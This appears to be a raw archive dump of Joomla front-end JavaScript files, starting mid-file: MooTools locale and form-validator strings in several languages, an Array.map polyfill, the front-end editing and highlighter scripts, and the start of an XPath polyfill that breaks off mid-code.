},yearUntil:"še leto",yearsUntil:function(b){return"še {delta} "+a(b,"leto","leti","leta","let");}});})();Locale.define("si-SI","FormValidator",{required:"To polje je obvezno",minLength:"Prosim, vnesite vsaj {minLength} znakov (vnesli ste {length} znakov).",maxLength:"Prosim, ne vnesite več kot {maxLength} znakov (vnesli ste {length} znakov).",integer:"Prosim, vnesite celo število. Decimalna števila (kot 1,25) niso dovoljena.",numeric:'Prosim, vnesite samo numerične vrednosti (kot "1" ali "1.1" ali "-1" ali "-1.1").',digits:"Prosim, uporabite številke in ločila le na tem polju (na primer, dovoljena je telefonska številka z pomišlaji ali pikami).",alpha:"Prosim, uporabite le črke v tem plju. Presledki in drugi znaki niso dovoljeni.",alphanum:"Prosim, uporabite samo črke ali številke v tem polju. Presledki in drugi znaki niso dovoljeni.",dateSuchAs:"Prosim, vnesite pravilen datum kot {date}",dateInFormatMDY:'Prosim, vnesite pravilen datum kot MM.DD.YYYY (primer "12.31.1999")',email:'Prosim, vnesite pravilen email naslov. Na primer "fred@domain.com".',url:"Prosim, vnesite pravilen URL kot http://www.example.com.",currencyDollar:"Prosim, vnesit epravilno vrednost €. Primer 100,00€ .",oneRequired:"Prosimo, vnesite nekaj za vsaj eno izmed teh polj.",errorPrefix:"Napaka: ",warningPrefix:"Opozorilo: ",noSpace:"To vnosno polje ne dopušča presledkov.",reqChkByNode:"Nič niste izbrali.",requiredChk:"To polje je obvezno",reqChkByName:"Prosim, izberite {label}.",match:"To polje se mora ujemati z poljem {matchName}",startDate:"datum začetka",endDate:"datum konca",currendDate:"trenuten datum",afterDate:"Datum bi moral biti isti ali po {label}.",beforeDate:"Datum bi moral biti isti ali pred {label}.",startMonth:"Prosim, vnesite začetni datum",sameMonth:"Ta dva datuma morata biti v istem mesecu - premeniti morate eno ali drugo.",creditcard:"Številka kreditne kartice ni pravilna. Preverite številko ali poskusite še enkrat. Vnešenih {length} znakov."});
Locale.define("sv-SE","Date",{months:["januari","februari","mars","april","maj","juni","juli","augusti","september","oktober","november","december"],months_abbr:["jan","feb","mar","apr","maj","jun","jul","aug","sep","okt","nov","dec"],days:["söndag","måndag","tisdag","onsdag","torsdag","fredag","lördag"],days_abbr:["sön","mån","tis","ons","tor","fre","lör"],dateOrder:["year","month","date"],shortDate:"%Y-%m-%d",shortTime:"%H:%M",AM:"",PM:"",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"mindre än en minut sedan",minuteAgo:"ungefär en minut sedan",minutesAgo:"{delta} minuter sedan",hourAgo:"ungefär en timme sedan",hoursAgo:"ungefär {delta} timmar sedan",dayAgo:"1 dag sedan",daysAgo:"{delta} dagar sedan",lessThanMinuteUntil:"mindre än en minut sedan",minuteUntil:"ungefär en minut sedan",minutesUntil:"{delta} minuter sedan",hourUntil:"ungefär en timme sedan",hoursUntil:"ungefär {delta} timmar sedan",dayUntil:"1 dag sedan",daysUntil:"{delta} dagar sedan"});
Locale.define("sv-SE","FormValidator",{required:"Fältet är obligatoriskt.",minLength:"Ange minst {minLength} tecken (du angav {length} tecken).",maxLength:"Ange högst {maxLength} tecken (du angav {length} tecken). ",integer:"Ange ett heltal i fältet. Tal med decimaler (t.ex. 1,25) är inte tillåtna.",numeric:'Ange endast numeriska värden i detta fält (t.ex. "1" eller "1.1" eller "-1" eller "-1,1").',digits:"Använd endast siffror och skiljetecken i detta fält (till exempel ett telefonnummer med bindestreck tillåtet).",alpha:"Använd endast bokstäver (a-ö) i detta fält. Inga mellanslag eller andra tecken är tillåtna.",alphanum:"Använd endast bokstäver (a-ö) och siffror (0-9) i detta fält. Inga mellanslag eller andra tecken är tillåtna.",dateSuchAs:"Ange ett giltigt datum som t.ex. {date}",dateInFormatMDY:'Ange ett giltigt datum som t.ex. YYYY-MM-DD (i.e. "1999-12-31")',email:'Ange en giltig e-postadress. Till exempel "erik@domain.com".',url:"Ange en giltig webbadress som http://www.example.com.",currencyDollar:"Ange en giltig belopp. Exempelvis 100,00.",oneRequired:"Vänligen ange minst ett av dessa alternativ.",errorPrefix:"Fel: ",warningPrefix:"Varning: ",noSpace:"Det får inte finnas några mellanslag i detta fält.",reqChkByNode:"Inga objekt är valda.",requiredChk:"Detta är ett obligatoriskt fält.",reqChkByName:"Välj en {label}.",match:"Detta fält måste matcha {matchName}",startDate:"startdatumet",endDate:"slutdatum",currendDate:"dagens datum",afterDate:"Datumet bör vara samma eller senare än {label}.",beforeDate:"Datumet bör vara samma eller tidigare än {label}.",startMonth:"Välj en start månad",sameMonth:"Dessa två datum måste vara i samma månad - du måste ändra det ena eller det andra."});
(function(){var a=function(j,e,c,i,b){var h=(j/10).toInt(),g=j%10,f=(j/100).toInt();if(h==1&&j>10){return i;}if(g==1){return e;}if(g>0&&g<5){return c;}return i;
};Locale.define("uk-UA","Date",{months:["Січень","Лютий","Березень","Квітень","Травень","Червень","Липень","Серпень","Вересень","Жовтень","Листопад","Грудень"],months_abbr:["Січ","Лют","Бер","Квіт","Трав","Черв","Лип","Серп","Вер","Жовт","Лист","Груд"],days:["Неділя","Понеділок","Вівторок","Середа","Четвер","П'ятниця","Субота"],days_abbr:["Нд","Пн","Вт","Ср","Чт","Пт","Сб"],dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M",AM:"до полудня",PM:"по полудню",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"меньше хвилини тому",minuteAgo:"хвилину тому",minutesAgo:function(b){return"{delta} "+a(b,"хвилину","хвилини","хвилин")+" тому";
},hourAgo:"годину тому",hoursAgo:function(b){return"{delta} "+a(b,"годину","години","годин")+" тому";},dayAgo:"вчора",daysAgo:function(b){return"{delta} "+a(b,"день","дня","днів")+" тому";
},weekAgo:"тиждень тому",weeksAgo:function(b){return"{delta} "+a(b,"тиждень","тижні","тижнів")+" тому";},monthAgo:"місяць тому",monthsAgo:function(b){return"{delta} "+a(b,"місяць","місяці","місяців")+" тому";
},yearAgo:"рік тому",yearsAgo:function(b){return"{delta} "+a(b,"рік","роки","років")+" тому";},lessThanMinuteUntil:"за мить",minuteUntil:"через хвилину",minutesUntil:function(b){return"через {delta} "+a(b,"хвилину","хвилини","хвилин");
},hourUntil:"через годину",hoursUntil:function(b){return"через {delta} "+a(b,"годину","години","годин");},dayUntil:"завтра",daysUntil:function(b){return"через {delta} "+a(b,"день","дня","днів");
},weekUntil:"через тиждень",weeksUntil:function(b){return"через {delta} "+a(b,"тиждень","тижні","тижнів");},monthUntil:"через місяць",monthesUntil:function(b){return"через {delta} "+a(b,"місяць","місяці","місяців");
},yearUntil:"через рік",yearsUntil:function(b){return"через {delta} "+a(b,"рік","роки","років");}});})();Locale.define("uk-UA","FormValidator",{required:"Це поле повинне бути заповненим.",minLength:"Введіть хоча б {minLength} символів (Ви ввели {length}).",maxLength:"Кількість символів не може бути більше {maxLength} (Ви ввели {length}).",integer:"Введіть в це поле число. Дробові числа (наприклад 1.25) не дозволені.",numeric:'Введіть в це поле число (наприклад "1" або "1.1", або "-1", або "-1.1").',digits:"В цьому полі ви можете використовувати лише цифри і знаки пунктіації (наприклад, телефонний номер з знаками дефізу або з крапками).",alpha:"В цьому полі можна використовувати лише латинські літери (a-z). Пробіли і інші символи заборонені.",alphanum:"В цьому полі можна використовувати лише латинські літери (a-z) і цифри (0-9). Пробіли і інші символи заборонені.",dateSuchAs:"Введіть коректну дату {date}.",dateInFormatMDY:'Введіть дату в форматі ММ/ДД/РРРР (наприклад "12/31/2009").',email:'Введіть коректну адресу електронної пошти (наприклад "name@domain.com").',url:"Введіть коректне інтернет-посилання (наприклад http://www.example.com).",currencyDollar:'Введіть суму в доларах (наприклад "$100.00").',oneRequired:"Заповніть одне з полів.",errorPrefix:"Помилка: ",warningPrefix:"Увага: ",noSpace:"Пробіли заборонені.",reqChkByNode:"Не відмічено жодного варіанту.",requiredChk:"Це поле повинне бути віміченим.",reqChkByName:"Будь ласка, відмітьте {label}.",match:"Це поле повинно відповідати {matchName}",startDate:"початкова дата",endDate:"кінцева дата",currendDate:"сьогоднішня дата",afterDate:"Ця дата повинна бути такою ж, або пізнішою за {label}.",beforeDate:"Ця дата повинна бути такою ж, або ранішою за {label}.",startMonth:"Будь ласка, виберіть початковий місяць",sameMonth:"Ці дати повинні відноситись одного і того ж місяця. Будь ласка, змініть одну з них.",creditcard:"Номер кредитної карти введений неправильно. Будь ласка, перевірте його. Введено {length} символів."});
Locale.define("zh-CHS","Date",{months:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],months_abbr:["一","二","三","四","五","六","七","八","九","十","十一","十二"],days:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],days_abbr:["日","一","二","三","四","五","六"],dateOrder:["year","month","date"],shortDate:"%Y-%m-%d",shortTime:"%I:%M%p",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"不到1分钟前",minuteAgo:"大约1分钟前",minutesAgo:"{delta}分钟之前",hourAgo:"大约1小时前",hoursAgo:"大约{delta}小时前",dayAgo:"1天前",daysAgo:"{delta}天前",weekAgo:"1星期前",weeksAgo:"{delta}星期前",monthAgo:"1个月前",monthsAgo:"{delta}个月前",yearAgo:"1年前",yearsAgo:"{delta}年前",lessThanMinuteUntil:"从现在开始不到1分钟",minuteUntil:"从现在开始約1分钟",minutesUntil:"从现在开始约{delta}分钟",hourUntil:"从现在开始1小时",hoursUntil:"从现在开始约{delta}小时",dayUntil:"从现在开始1天",daysUntil:"从现在开始{delta}天",weekUntil:"从现在开始1星期",weeksUntil:"从现在开始{delta}星期",monthUntil:"从现在开始一个月",monthsUntil:"从现在开始{delta}个月",yearUntil:"从现在开始1年",yearsUntil:"从现在开始{delta}年"});
Locale.define("zh-CHT","Date",{months:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],months_abbr:["一","二","三","四","五","六","七","八","九","十","十一","十二"],days:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],days_abbr:["日","一","二","三","四","五","六"],dateOrder:["year","month","date"],shortDate:"%Y-%m-%d",shortTime:"%I:%M%p",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"不到1分鐘前",minuteAgo:"大約1分鐘前",minutesAgo:"{delta}分鐘之前",hourAgo:"大約1小時前",hoursAgo:"大約{delta}小時前",dayAgo:"1天前",daysAgo:"{delta}天前",weekAgo:"1星期前",weeksAgo:"{delta}星期前",monthAgo:"1个月前",monthsAgo:"{delta}个月前",yearAgo:"1年前",yearsAgo:"{delta}年前",lessThanMinuteUntil:"從現在開始不到1分鐘",minuteUntil:"從現在開始約1分鐘",minutesUntil:"從現在開始約{delta}分鐘",hourUntil:"從現在開始1小時",hoursUntil:"從現在開始約{delta}小時",dayUntil:"從現在開始1天",daysUntil:"從現在開始{delta}天",weekUntil:"從現在開始1星期",weeksUntil:"從現在開始{delta}星期",monthUntil:"從現在開始一個月",monthsUntil:"從現在開始{delta}個月",yearUntil:"從現在開始1年",yearsUntil:"從現在開始{delta}年"});
Locale.define("zh-CHS","FormValidator",{required:"此项必填。",minLength:"请至少输入 {minLength} 个字符 (已输入 {length} 个)。",maxLength:"最多只能输入 {maxLength} 个字符 (已输入 {length} 个)。",integer:'请输入一个整数,不能包含小数点。例如:"1", "200"。',numeric:'请输入一个数字,例如:"1", "1.1", "-1", "-1.1"。',digits:"请输入由数字和标点符号组成的内容。例如电话号码。",alpha:"请输入 A-Z 的 26 个字母,不能包含空格或任何其他字符。",alphanum:"请输入 A-Z 的 26 个字母或 0-9 的 10 个数字,不能包含空格或任何其他字符。",dateSuchAs:"请输入合法的日期格式,如:{date}。",dateInFormatMDY:'请输入合法的日期格式,例如:YYYY-MM-DD ("2010-12-31")。',email:'请输入合法的电子信箱地址,例如:"fred@domain.com"。',url:"请输入合法的 Url 地址,例如:http://www.example.com。",currencyDollar:"请输入合法的货币符号,例如:¥100.0",oneRequired:"请至少选择一项。",errorPrefix:"错误:",warningPrefix:"警告:",noSpace:"不能包含空格。",reqChkByNode:"未选择任何内容。",requiredChk:"此项必填。",reqChkByName:"请选择 {label}.",match:"必须与{matchName}相匹配",startDate:"起始日期",endDate:"结束日期",currendDate:"当前日期",afterDate:"日期必须等于或晚于 {label}.",beforeDate:"日期必须早于或等于 {label}.",startMonth:"请选择起始月份",sameMonth:"您必须修改两个日期中的一个,以确保它们在同一月份。",creditcard:"您输入的信用卡号码不正确。当前已输入{length}个字符。"});
Locale.define("zh-CHT","FormValidator",{required:"此項必填。 ",minLength:"請至少輸入{minLength} 個字符(已輸入{length} 個)。 ",maxLength:"最多只能輸入{maxLength} 個字符(已輸入{length} 個)。 ",integer:'請輸入一個整數,不能包含小數點。例如:"1", "200"。 ',numeric:'請輸入一個數字,例如:"1", "1.1", "-1", "-1.1"。 ',digits:"請輸入由數字和標點符號組成的內容。例如電話號碼。 ",alpha:"請輸入AZ 的26 個字母,不能包含空格或任何其他字符。 ",alphanum:"請輸入AZ 的26 個字母或0-9 的10 個數字,不能包含空格或任何其他字符。 ",dateSuchAs:"請輸入合法的日期格式,如:{date}。 ",dateInFormatMDY:'請輸入合法的日期格式,例如:YYYY-MM-DD ("2010-12-31")。 ',email:'請輸入合法的電子信箱地址,例如:"fred@domain.com"。 ',url:"請輸入合法的Url 地址,例如:http://www.example.com。 ",currencyDollar:"請輸入合法的貨幣符號,例如:¥100.0",oneRequired:"請至少選擇一項。 ",errorPrefix:"錯誤:",warningPrefix:"警告:",noSpace:"不能包含空格。 ",reqChkByNode:"未選擇任何內容。 ",requiredChk:"此項必填。 ",reqChkByName:"請選擇 {label}.",match:"必須與{matchName}相匹配",startDate:"起始日期",endDate:"結束日期",currendDate:"當前日期",afterDate:"日期必須等於或晚於{label}.",beforeDate:"日期必須早於或等於{label}.",startMonth:"請選擇起始月份",sameMonth:"您必須修改兩個日期中的一個,以確保它們在同一月份。 ",creditcard:"您輸入的信用卡號碼不正確。當前已輸入{length}個字符。 "});
Form.Validator.add("validate-currency-yuan",{errorMsg:function(){return Form.Validator.getMsg("currencyYuan");},test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^¥?\-?([1-9]{1}[0-9]{0,2}(\,[0-9]{3})*(\.[0-9]{0,2})?|[1-9]{1}\d*(\.[0-9]{0,2})?|0(\.[0-9]{0,2})?|(\.[0-9]{1,2})?)$/).test(a.get("value"));
}});PK!�S�DDjs/polyfill.map-uncompressed.jsnu�[���/* Polyfill service v3.14.0
 * For detailed credits and licence information see https://github.com/financial-times/polyfill-service.
 * 
 * UA detected: ie/8.0.0
 * Features requested: Array.prototype.map
 * 
 * - Array.prototype.map, License: CC0 */

(function(undefined) {
if (!('map' in Array.prototype)) {

// Array.prototype.map
Array.prototype.map = function map(callback) {
	if (this === undefined || this === null) {
		throw new TypeError(this + ' is not an object');
	}

	if (!(callback instanceof Function)) {
		throw new TypeError(callback + ' is not a function');
	}

	var
	object = Object(this),
	scope = arguments[1],
	arraylike = object instanceof String ? object.split('') : object,
	length = Math.max(Math.min(arraylike.length, 9007199254740991), 0) || 0,
	index = -1,
	result = [];

	while (++index < length) {
		if (index in arraylike) {
			result[index] = callback.call(scope, arraylike[index], index, object);
		}
	}

	return result;
};

}

})
.call('object' === typeof window && window || 'object' === typeof self && self || 'object' === typeof global && global || {});
PK!;�%��
�
js/frontediting.jsnu�[���!function(t){t.fn.extend({jEditMakeAbsolute:function(e){return this.each(function(){var o,i=t(this);o=e?i.offset():i.position(),i.css({position:"absolute",marginLeft:0,marginTop:0,top:o.top,left:o.left,bottom:"auto",right:"auto"}),e&&i.detach().appendTo("body")})}}),t(document).ready(function(){var e=200,o=100,i=function(i,n){var d,a,l,r,s,p,u,m,c,h,f,v,j,b,g;return v=function(t){return u<t.top&&s<t.left&&p>t.left+e&&r>t.top+o},d=t(n),b=t.extend({},d.offset(),{width:n.offsetWidth,height:n.offsetHeight}),u=t(document).scrollTop(),s=t(document).scrollLeft(),p=s+t(window).width(),r=u+t(window).height(),m={top:b.top-o,left:b.left+b.width/2-e/2},c={top:b.top+b.height,left:b.left+b.width/2-e/2},h={top:b.top+b.height/2-o/2,left:b.left-e},f={top:b.top+b.height/2-o/2,left:b.left+b.width},a=v(m),l=v(c),j=v(h),g=v(f),a?"top":l?"bottom":j?"left":"right"};t(".jmoddiv").on({mouseenter:function(){var e=t(this).data("jmodediturl"),o=t(this).data("jmodtip"),n=t(this).data("target");t("body>.btn.jmodedit").clearQueue().tooltip("destroy").remove(),t(this).addClass("jmodinside").prepend('<a class="btn jmodedit" href="#" target="'+n+'"><span class="icon-edit"></span></a>').children(":first").attr("href",e).attr("title",o).tooltip({container:!1,html:!0,placement:i}).jEditMakeAbsolute(!0),t(".btn.jmodedit").on({mouseenter:function(){t(this).clearQueue()},mouseleave:function(){t(this).delay(500).queue(function(e){t(this).tooltip("destroy").remove(),e()})}})},mouseleave:function(){t("body>.btn.jmodedit").delay(500).queue(function(e){t(this).tooltip("destroy").remove(),e()})}});var n=null;t(".jmoddiv[data-jmenuedittip] .nav li,.jmoddiv[data-jmenuedittip].nav li,.jmoddiv[data-jmenuedittip] .nav .nav-child li,.jmoddiv[data-jmenuedittip].nav .nav-child li").on({mouseenter:function(){var e=/\bitem-(\d+)\b/.exec(t(this).attr("class"));if("string"==typeof e[1])var o=t(this).closest(".jmoddiv"),i=o.data("jmodediturl"),d=i.replace(/\/index.php\?option=com_config&controller=config.display.modules([^\d]+).+$/,"/administrator/index.php?option=com_menus&view=item&layout=edit$1"+e[1]);var a=o.data("jmenuedittip").replace("%s",e[1]),l=t('<div><a class="btn jfedit-menu" href="#" target="_blank"><span class="icon-edit"></span></a></div>');l.children("a.jfedit-menu").prop("href",d).prop("title",a),n&&t(n).popover("hide"),t(this).popover({html:!0,content:l.html(),container:"body",trigger:"manual",animation:!1,placement:"bottom"}).popover("show"),n=this,t("body>div.popover").on({mouseenter:function(){n&&t(n).clearQueue()},mouseleave:function(){n&&t(n).popover("hide")}}).find("a.jfedit-menu").tooltip({container:!1,html:!0,placement:"bottom"})},mouseleave:function(){t(this).delay(1500).queue(function(e){t(this).popover("hide"),e()})}})})}(jQuery);PK!�*�yyjs/highlighter-uncompressed.jsnu�[���/**
 * @package     Joomla.JavaScript
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Only define the Joomla namespace if not defined.
if (typeof(Joomla) === 'undefined') {
    var Joomla = {};
}

Joomla.Highlighter = function(_options){
    var $, words, options = {
        autoUnhighlight: true,
        caseSensitive: false,
        startElement: false,
        endElement: false,
        elements: [],
        className: 'highlight',
        onlyWords: true,
        tag: 'span'
    },

    highlight = function (words) {
        if (words.constructor === String) {
            words = [words];
        }
        if (options.autoUnhighlight) {
            unhighlight(words);
        }
        var pattern = options.onlyWords ? '\b' + pattern + '\b' : '(' + words.join('\\b|\\b') + ')',
        regex = new RegExp(pattern, options.caseSensitive ? '' : 'i');
        options.elements.map(function(el){
            recurse(el, regex, options.className);
        });
        return this;
    },

    unhighlight = function (words) {
        if (words.constructor === String) {
            words = [words];
        }

        var $elements, tn;
        words.map(function(word){
            word = (options.caseSensitive ? word : word.toUpperCase());
            if (words[word]) {
                $elements = $(words[word]);
                $elements.removeClass();
                $elements.each(function (index, el) {
                    tn = document.createTextNode($(el).text());
                    el.parentNode.replaceChild(tn, el);
                });
            }
        });
        return this;
    },

    recurse = function (node, regex, klass) {
        if (node.nodeType === 3) {
            var match = node.nodeValue.match(regex), highlight, $highlight, wordNode, wordClone, comparer, i;
            if (match) {
                highlight = document.createElement(options.tag);
                $highlight = $(highlight);
                $highlight.addClass(klass);
                wordNode = node.splitText(match.index);
                wordNode.splitText(match[0].length);
                wordClone = wordNode.cloneNode(true);
                $highlight.append(wordClone);
                $(wordNode).replaceWith(highlight)
                $highlight.attr('rel', $highlight.text());
                comparer = $highlight.text()
                if (!options.caseSensitive) {
                    comparer = $highlight.text().toUpperCase();
                }
                if (!words[comparer]) {
                    words[comparer] = [];
                }
                words[comparer].push(highlight);
                return 1;
            }
        } else if ((node.nodeType === 1 && node.childNodes) && !/(script|style|textarea|iframe)/i.test(node.tagName) && !(node.tagName === options.tag.toUpperCase() && node.className === klass)) {
            for (i = 0; i < node.childNodes.length; i++) {
                i += recurse(node.childNodes[i], regex, klass);
            }
        }
        return 0;
    },

    getElements = function ($start, $end) {
        var $next = $start.next();
        if ($next.attr('id') !== $end.attr('id')) {
            options.elements.push($next.get(0));
            getElements($next, $end);
        }
    },

    initialize = function(_options) {
        $ = jQuery.noConflict();
        $.extend(options, _options);
        getElements($(options.startElement), $(options.endElement));
        words = [];
    };

    initialize(_options);

    return {
        highlight: highlight,
        unhighlight : unhighlight
    };
}
PK!5"��GGjs/frontediting-uncompressed.jsnu�[���/**
 * @copyright	(C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JavaScript behavior to add front-end hover edit icons with tooltips for modules and menu items.
 *
 */
(function($) {

	$.fn.extend({
		/**
		 * This jQuery custom method makes the elements absolute, and with true argument moves them to end of body to avoid CSS inheritence
		 *
		 * @param   rebase boolean
		 * @returns {jQuery}
		 */
		jEditMakeAbsolute: function(rebase) {

			return this.each(function() {

				var el = $(this);
				var pos;

				if (rebase) {
					pos = el.offset();
				} else {
					pos = el.position();
				}

				el.css({ position: "absolute",
					marginLeft: 0, marginTop: 0,
					top: pos.top, left: pos.left,
					bottom: 'auto', right: 'auto'
				});

				if (rebase) {
					el.detach().appendTo("body");
				}
			});

		}
	});

	$(document).ready(function () {

		// Tooltip maximal dimensions for intelligent placement:
		var actualWidth = 200;
		var actualHeight = 100;
		// Tooltip smart tooltip placement function:
		var tooltipPlacer = function(tip, element) {
			var $element, above, below, boundBottom, boundLeft, boundRight, boundTop, elementAbove, elementBelow, elementLeft, elementRight, isWithinBounds, left, pos, right;
			isWithinBounds = function(elementPosition) {
				return boundTop < elementPosition.top && boundLeft < elementPosition.left && boundRight > (elementPosition.left + actualWidth) && boundBottom > (elementPosition.top + actualHeight);
			};
			$element = $(element);
			pos = $.extend({}, $element.offset(), {
				width: element.offsetWidth,
				height: element.offsetHeight
			});
			boundTop = $(document).scrollTop();
			boundLeft = $(document).scrollLeft();
			boundRight = boundLeft + $(window).width();
			boundBottom = boundTop + $(window).height();
			elementAbove = {
				top: pos.top - actualHeight,
				left: pos.left + pos.width / 2 - actualWidth / 2
			};
			elementBelow = {
				top: pos.top + pos.height,
				left: pos.left + pos.width / 2 - actualWidth / 2
			};
			elementLeft = {
				top: pos.top + pos.height / 2 - actualHeight / 2,
				left: pos.left - actualWidth
			};
			elementRight = {
				top: pos.top + pos.height / 2 - actualHeight / 2,
				left: pos.left + pos.width
			};
			above = isWithinBounds(elementAbove);
			below = isWithinBounds(elementBelow);
			left = isWithinBounds(elementLeft);
			right = isWithinBounds(elementRight);
			if (above) {
				return "top";
			} else {
				if (below) {
					return "bottom";
				} else {
					if (left) {
						return "left";
					} else {
						if (right) {
							return "right";
						} else {
							return "right";
						}
					}
				}
			}
		};

		// Modules edit icons:

		$('.jmoddiv').on({
			mouseenter: function() {

				// Get module editing URL and tooltip for module edit:
				var moduleEditUrl = $(this).data('jmodediturl');
				var moduleTip = $(this).data('jmodtip');
                var moduleTarget = $(this).data('target');

				// Stop timeout on previous tooltip and remove it:
				$('body>.btn.jmodedit').clearQueue().tooltip('destroy').remove();

				// Add editing button with tooltip:
				$(this).addClass('jmodinside')
					.prepend('<a class="btn jmodedit" href="#" target="' + moduleTarget + '"><span class="icon-edit"></span></a>')
					.children(":first").attr('href', moduleEditUrl).attr('title', moduleTip)
					.tooltip({"container": false, html: true, placement: tooltipPlacer})
					.jEditMakeAbsolute(true);

				$('.btn.jmodedit')
					.on({
						mouseenter: function() {
							// Stop delayed removal programmed by mouseleave of .jmoddiv or of this one:
							$(this).clearQueue();
						},
						mouseleave: function() {
							// Delay remove editing button if not hovering it:
							$(this).delay(500).queue(function(next) {
								$(this).tooltip('destroy').remove();
								next();
							});
						}
					});
			},
			mouseleave: function() {

				// Delay remove editing button if not hovering it:
				$('body>.btn.jmodedit').delay(500).queue(function(next) {
					$(this).tooltip('destroy').remove();
					next();
				});
			}
		});

		// Menu items edit icons:

		var activePopover = null;

		$('.jmoddiv[data-jmenuedittip] .nav li,.jmoddiv[data-jmenuedittip].nav li,.jmoddiv[data-jmenuedittip] .nav .nav-child li,.jmoddiv[data-jmenuedittip].nav .nav-child li').on({
			mouseenter: function() {

				// Get menu ItemId from the item-nnn class of the li element of the menu:
				var itemids = /\bitem-(\d+)\b/.exec($(this).attr('class'));
				if (typeof itemids[1] == 'string') {
					// Find module editing URL from enclosing module:
					var enclosingModuleDiv = $(this).closest('.jmoddiv');
					var moduleEditUrl = enclosingModuleDiv.data('jmodediturl');
					// Transform module editing URL into Menu Item editing url:
					var menuitemEditUrl = moduleEditUrl.replace(/\/index.php\?option=com_config&controller=config.display.modules([^\d]+).+$/, '/administrator/index.php?option=com_menus&view=item&layout=edit$1' + itemids[1]);

				}

				// Get tooltip for menu items from enclosing module
				var menuEditTip = enclosingModuleDiv.data('jmenuedittip').replace('%s', itemids[1]);

				var content = $('<div><a class="btn jfedit-menu" href="#" target="_blank"><span class="icon-edit"></span></a></div>');
				content.children('a.jfedit-menu').prop('href', menuitemEditUrl).prop('title', menuEditTip);

				if (activePopover) {
					$(activePopover).popover('hide');
				}
				$(this).popover({html:true, content:content.html(), container:'body', trigger:'manual', animation:false, placement: 'bottom'}).popover('show');
				activePopover = this;

				$('body>div.popover')
					.on({
					mouseenter: function() {
						if (activePopover) {
							$(activePopover).clearQueue();
						}
					},
					mouseleave: function() {
						if (activePopover) {
							$(activePopover).popover('hide');
						}
					}
				})
				.find('a.jfedit-menu').tooltip({"container": false, html: true, placement: 'bottom'});
			},
			mouseleave: function() {
				$(this).delay(1500).queue(function(next) { $(this).popover('hide'); next() });
			}
		});
	});
})(jQuery);
PK!}h[&EuEu!js/polyfill.xpath-uncompressed.jsnu�[���(function(undefined) {
    if (!('evaluate' in Array.prototype)) {
        (function(){'use strict';var k=this;
            function aa(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==
                b&&"undefined"==typeof a.call)return"object";return b}function l(a){return"string"==typeof a}function ba(a,b,c){return a.call.apply(a.bind,arguments)}function ca(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}}
            function da(a,b,c){da=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ba:ca;return da.apply(null,arguments)}function ea(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}}
            function m(a){var b=n;function c(){}c.prototype=b.prototype;a.G=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.F=function(a,c,f){for(var g=Array(arguments.length-2),h=2;h<arguments.length;h++)g[h-2]=arguments[h];return b.prototype[c].apply(a,g)}};/*

             The MIT License

             Copyright (c) 2007 Cybozu Labs, Inc.
             Copyright (c) 2012 Google Inc.

             Permission is hereby granted, free of charge, to any person obtaining a copy
             of this software and associated documentation files (the "Software"), to
             deal in the Software without restriction, including without limitation the
             rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
             sell copies of the Software, and to permit persons to whom the Software is
             furnished to do so, subject to the following conditions:

             The above copyright notice and this permission notice shall be included in
             all copies or substantial portions of the Software.

             THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
             IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
             FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
             AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
             LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
             FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
             IN THE SOFTWARE.
             */
            var fa=String.prototype.trim?function(a){return a.trim()}:function(a){return a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")};function q(a,b){return-1!=a.indexOf(b)}function ga(a,b){return a<b?-1:a>b?1:0};var ha=Array.prototype.indexOf?function(a,b,c){return Array.prototype.indexOf.call(a,b,c)}:function(a,b,c){c=null==c?0:0>c?Math.max(0,a.length+c):c;if(l(a))return l(b)&&1==b.length?a.indexOf(b,c):-1;for(;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1},r=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=l(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)},ia=Array.prototype.filter?function(a,b,c){return Array.prototype.filter.call(a,
